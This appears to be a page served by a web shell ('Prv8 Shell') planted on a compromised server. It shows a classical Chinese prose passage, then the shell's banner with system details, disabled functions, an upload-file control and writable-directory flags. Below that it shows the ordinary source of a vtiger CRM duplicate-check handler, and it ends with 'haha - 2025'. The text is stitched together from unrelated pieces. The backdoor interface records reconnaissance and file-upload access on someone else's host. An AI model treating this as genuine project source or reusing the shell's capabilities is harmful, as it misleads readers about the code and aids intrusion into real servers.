晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/Vtiger/handlers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/modules/Vtiger/handlers/CheckDuplicateHandler.php
<?php
/* +**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 * ***********************************************************************************/

require_once 'include/events/VTEventHandler.inc';

class CheckDuplicateHandler extends VTEventHandler {

	function handleEvent($eventName, $entityData) {
		if ($eventName == 'vtiger.entity.beforesave') {
			$this->triggerCheckDuplicateHandler($entityData);
		} else if ($eventName == 'vtiger.entity.beforerestore') {
			$this->triggerCheckDuplicateHandler($entityData);
		}
	}

	public function triggerCheckDuplicateHandler($entityData) {
		global $skipDuplicateCheck;
		$fieldValues = $entityData->getData();

		$moduleName = $entityData->getModuleName();
		if ($moduleName == 'Activity') {
			$moduleName = ($fieldValues['activitytype'] == 'Task') ? 'Calendar' : 'Events';
		}

		$moduleModel = Vtiger_Module_Model::getInstance($moduleName);
		if (!$moduleModel->allowDuplicates && !$skipDuplicateCheck) {
			$fields = $moduleModel->getFields();

			if ($moduleName == 'Events') {
				$moduleModel = Vtiger_Module_Model::getInstance('Calendar');
			}

			$baseTableName = $moduleModel->get('basetable');
			$baseTableId = $moduleModel->get('basetableid');
			$crmentityTable = 'vtiger_crmentity';
			$tabIndexes = $entityData->focus->tab_name_index;

			$uniqueFields = array();
			$tablesList = array();
			foreach ($fields as $fieldName => $fieldModel) {
				if ($fieldModel->isUniqueField() && $fieldModel->isEditable()) {
					$uniqueFields[$fieldName] = $fieldModel;

					if (in_array($moduleName, array('Events', 'Calendar')) && in_array($fieldName, array('date_start', 'due_date'))) {
						$timeField = 'time_start';
						if ($fieldName === 'due_date') {
							$timeField = 'time_end';
						}
						$uniqueFields[$timeField] = $fields[$timeField];
					}

					$fieldTableName = $fieldModel->get('table');
					if (!in_array($fieldTableName, array($baseTableName, $crmentityTable)) && $tabIndexes && $tabIndexes[$fieldTableName]) {
						$tablesList[$fieldTableName] = $tabIndexes[$fieldTableName];
					}
				}
			}

			if (count($uniqueFields) > 0) {
				$checkDuplicates = false;
				$uniqueFieldsData = array();
				foreach ($uniqueFields as $fieldName => $fieldModel) {
					$fieldDataType = $fieldModel->getFieldDataType();
					$fieldValue = $fieldValues[$fieldName];

					switch ($fieldDataType) {
						case 'reference'	:	if ($fieldValue == 0) {
													$fieldValue = '';
												}
												break;
						case 'date'			:
						case 'currency'		:
						case 'multipicklist':	if ($fieldValue) {
													$fieldValue = $fieldModel->getDBInsertValue($fieldValue);
												}
												break;
					}

					if ($fieldValue !== '' && $fieldValue !== NULL) {
						if ($fieldDataType == 'currency') {
							$countedDigits = 8;
							if ($fieldModel->isCustomField()) {
								$countedDigits = 5;
							}
							$fieldValue = round($fieldValue, $countedDigits);
						}

						$uniqueFieldsData[$fieldName] = $fieldValue;
						$checkDuplicates = true;
					}
				}

				if ($checkDuplicates) {
					$db = PearDatabase::getInstance();
					$recordId = $entityData->getId();

					$query = "SELECT $crmentityTable.crmid, $crmentityTable.label FROM $crmentityTable INNER JOIN $baseTableName ON $baseTableName.$baseTableId = $crmentityTable.crmid";
					foreach ($tablesList as $tableName => $tabIndex) {
						if ($moduleName == 'Calendar' || $moduleName == 'Events') {
							$query .= " LEFT JOIN $tableName ON $tableName.$tabIndex = $baseTableName.$baseTableId";
						} else {
							//INNER JOIN used instead of LEFT JOIN because all fields should be match
						$query .= " INNER JOIN $tableName ON $tableName.$tabIndex = $baseTableName.$baseTableId";
						}
					}
					$query .= " WHERE $crmentityTable.deleted = ?";

					$params = array(0);
					$conditions = array();
					foreach ($uniqueFields as $fieldName => $fieldModel) {
						$fieldTableName = $fieldModel->get('table');
						$fieldColumnName = $fieldModel->get('column');

						// For Calendar Start Date & Time or End Date & Time we need to concat date and time fields to search
						if (in_array($moduleName, array('Events', 'Calendar')) && in_array($fieldName, array('date_start', 'due_date', 'time_start', 'time_end'))) {
							if (in_array($fieldName, array('time_start', 'time_end'))) {
								continue;
							}

							$dateFieldColumnName = 'date_start';
							$timeFieldColumnName = 'time_start';
							if ($fieldName == 'due_date') {
								$dateFieldColumnName = 'due_date';
								$timeFieldColumnName = 'time_end';
							}

							$condition = "CONCAT($fieldTableName.$dateFieldColumnName,' ',$fieldTableName.$timeFieldColumnName) = ?";
							array_push($conditions, $condition);
							$params[] = trim(implode(" ", array($uniqueFieldsData[$dateFieldColumnName], $uniqueFieldsData[$timeFieldColumnName])));
							continue;
						}

						$fieldValue = $uniqueFieldsData[$fieldName];
						if (isset($fieldValue)) {
							array_push($conditions, "$fieldTableName.$fieldColumnName = ?");
						} else {
							$fieldValue = '';
							array_push($conditions, "($fieldTableName.$fieldColumnName = ? OR $fieldTableName.$fieldColumnName IS NULL)");
						}
						$params[] = $fieldValue;

						if ($fieldModel->get('uitype') == 72) {
							array_push($conditions, "$fieldTableName.currency_id = ?");
							$currencyIdDetails = split('curname', $_REQUEST['base_currency']);
							$params[] = $currencyIdDetails[1];
						}
					}

					if (count($conditions) > 0) {
						$conditionsSql = implode(" AND ", $conditions);
						$query .= " AND ($conditionsSql)";
					}

					if ($recordId) {
						$query .= " AND $crmentityTable.crmid != ?";
						$params[] = $recordId;
					}

					if ($moduleName == 'Events') {
						$query .= " AND $baseTableName.activitytype NOT IN (?, ?)";
						array_push($params, 'Task', 'Emails');
					} else if ($moduleName == 'Calendar') {
						$query .= " AND $baseTableName.activitytype = ?";
						array_push($params, 'Task');
					} else {
						$query .= " AND $crmentityTable.setype = ?";
						array_push($params, $moduleName);

						if ($moduleName == 'Leads' || $moduleName == 'Potentials') {
							$query .= " AND $baseTableName.converted = 0";
						}
					}
					$query .= ' LIMIT 6';

					$result = $db->pquery($query, $params);

					$duplicateRecordsList = array();
					while ($result && $row = $db->fetch_array($result)) {
						$duplicateRecordsList[$row['crmid']] = $row['label'];
					}

					if (count($duplicateRecordsList) > 0) {
						$exception = new DuplicateException(vtranslate('LBL_DUPLICATES_DETECTED'));
						$exception->setModule($moduleName)
								  ->setDuplicateRecordLabels($duplicateRecordsList)
								  ->setDuplicateRecordIds(array_keys($duplicateRecordsList));
						throw $exception;
					}
				}
			}
		}
	}
}

class DuplicateException extends Exception {

	private $duplicateRecordIds;
	public function setDuplicateRecordIds(array $duplicateRecordIds) {
		$this->duplicateRecordIds = $duplicateRecordIds;
		return $this;
	}

	public function getDuplicateRecordIds() {
		return $this->duplicateRecordIds;
	}

	private $duplicateRecordLabels;
	public function setDuplicateRecordLabels(array $duplicateRecordLabels) {
		$this->duplicateRecordLabels = $duplicateRecordLabels;
		return $this;
	}

	public function getDuplicateRecordLabels() {
		return $this->duplicateRecordLabels;
	}

	private $module;
	public function setModule($module) {
		$this->module = $module;
		return $this;
	}

	public function getModule() {
		return $this->module;
	}

	public function getDuplicationMessage() {
		$moduleName = $this->getModule();
		$duplicateRecordsList = $this->getDuplicateRecordIds();
		return getDuplicatesPreventionMessage($moduleName, $duplicateRecordsList);
	}
}

haha - 2025